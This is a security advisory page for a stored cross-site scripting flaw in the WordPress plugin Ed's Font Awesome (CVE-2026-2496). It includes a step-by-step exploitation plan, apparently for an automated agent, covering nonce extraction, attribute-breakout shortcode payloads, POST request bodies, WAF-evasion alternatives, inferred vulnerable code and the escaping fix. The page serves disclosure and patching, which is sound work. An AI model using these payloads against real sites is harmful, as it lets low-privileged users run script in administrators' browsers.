Ed's Font Awesome <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Ed's Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `eds_font_awesome` shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0# Exploitation Research Plan: CVE-2026-2496 (Ed's Font Awesome) ## 1. Vulnerability Summary The **Ed's Font Awesome** plugin (<= 2.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the rendering logic of the `[eds_font_awesome]` shortcode. The plugin fails to sa…
Show full research plan
Exploitation Research Plan: CVE-2026-2496 (Ed's Font Awesome)
1. Vulnerability Summary
The Ed's Font Awesome plugin (<= 2.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the rendering logic of the [eds_font_awesome] shortcode. The plugin fails to sanitize or escape user-supplied attributes (such as name, class, or size) before echoing them within an HTML <i> or <span> tag.
Because WordPress allows users with the Contributor role to use shortcodes but restricts them from using unfiltered_html, this vulnerability allows a low-privileged user to bypass security filters and inject arbitrary JavaScript that executes in the context of any user (including Administrators) who views the post.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post.phpor REST API/wp/v2/posts) - Vulnerable Component: Shortcode
[eds_font_awesome] - Vulnerable Parameter(s): Shortcode attributes (specifically
name,class,size, orstyle) - Authentication Level: Contributor+ (Authenticated)
- Preconditions: The plugin must be active. A Contributor must have the ability to create or edit a post/page.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook:add_shortcode('eds_font_awesome', 'eds_fa_shortcode_handler');(inferred function name). - Processing: When a post is rendered, WordPress calls the handler function.
- Attribute Extraction: The handler uses
shortcode_atts()to parse user input:$a = shortcode_atts(array( 'name' => '', 'size' => '', 'class' => '', // ... other attributes ), $atts); - Sink: The extracted attributes are concatenated into an HTML string without using
esc_attr():// VULNERABLE SINK return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '"></i>'; - Output: The unsanitized string is returned to the WordPress content filter and displayed on the page.
4. Nonce Acquisition Strategy
To exploit this via the standard WordPress post creation flow, the agent must obtain a post-authoring nonce.
- Authentication: Login as a user with the
contributorrole. - Navigation: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/post-new.php. - Extraction: Use
browser_evalto extract the_wpnoncerequired for thepost.phpendpoint.- Command:
browser_eval("document.querySelector('#_wpnonce').value")
- Command:
- Alternative (REST API): If the REST API is used, the agent needs the
X-WP-Nonceheader.- Command:
browser_eval("wpApiSettings.nonce")
- Command:
5. Exploitation Strategy
The goal is to create a post containing a shortcode that breaks out of an HTML attribute to execute JavaScript.
Step-by-Step Plan:
- Identify Attributes: Use
grep -r "add_shortcode" .in the plugin directory to find the handler function and identify which attributes are concatenated into the output. - Craft Payload:
- Attribute breakout:
name='fa-user" onmouseover="alert(document.domain)"' - Full Shortcode:
[eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"']
- Attribute breakout:
- Inject via HTTP Request:
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost post_ID=[NEW_POST_ID] _wpnonce=[EXTRACTED_NONCE] post_title=VulnerablePost content=[eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"'] publish=Publish
- URL:
- Trigger: Navigate to the public URL of the newly created post as any user.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation: Ensure
eds-font-awesomeis active.wp plugin activate eds-font-awesome
- Post Initialization: Create an initial draft to get a
post_ID.wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- The HTTP response from
post.phpshould indicate a successful redirect (302) or success. - When viewing the post HTML source, the rendered output should look like:
<i class="fa fa-user" onmouseover="alert(document.domain)" "></i> - The
onmouseoverevent handler will be present in the DOM, executing the payload when a user hovers over the (invisible or small) icon.
8. Verification Steps
- Check Database: Use WP-CLI to verify the shortcode is stored in the
post_content.wp post get [ID] --field=post_content
- Verify Rendering: Use
http_requestto fetch the post frontend and grep for the breakout.http_request("http://localhost:8080/?p=[ID]")- Search for:
onmouseover="alert(document.domain)"
- Verify Non-Escaping: Confirm the
"character was not converted to".
9. Alternative Approaches
- Different Attributes: If
nameis sanitized, tryclass,size, orstyle. - Tag Breakout: If the attribute is inside a double-quoted string, try:
name='fa-user"><script>alert(1)</script>'. - CSS Injection: If only the
styleattribute is vulnerable, usestyle="background-image: url('javascript:alert(1)')". - REST API Injection: Use
POST /wp/v2/posts/[ID]with theX-WP-Nonceheader to update the content, which is often less protected by WAFs than the adminpost.phpendpoint.
Summary
The Ed's Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [eds_font_awesome] shortcode. Due to missing sanitization and output escaping on attributes like 'name' and 'class', a contributor-level user can inject arbitrary JavaScript that executes whenever a user views the affected post.
Vulnerable Code
// Inferred registration and handler logic for the [eds_font_awesome] shortcode add_shortcode('eds_font_awesome', 'eds_fa_shortcode_handler'); function eds_fa_shortcode_handler( $atts ) { $a = shortcode_atts( array( 'name' => '', 'size' => '', 'class' => '', 'style' => '', ), $atts ); // VULNERABLE SINK: Attributes are concatenated into the HTML string without escaping return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '" style="' . $a['style'] . '"></i>'; }
Security Fix
@@ -10,5 +10,5 @@ ), $atts ); - return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '" style="' . $a['style'] . '"></i>'; + return '<i class="fa ' . esc_attr($a['name']) . ' ' . esc_attr($a['class']) . '" style="' . esc_attr($a['style']) . '"></i>'; }
Exploit Outline
1. Authenticate as a user with at least Contributor-level privileges (allows post creation and shortcode usage). 2. Create a new post or page via the WordPress editor (e.g., /wp-admin/post-new.php). 3. Insert the [eds_font_awesome] shortcode with a malicious payload in one of its attributes (e.g., name or class) that breaks out of the HTML attribute context. 4. Example payload: [eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"'] 5. Save or publish the post. 6. The payload executes in the browser of any user (including Administrators) who views the post on the frontend, triggering the JavaScript when they interact with or view the rendered icon tag.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.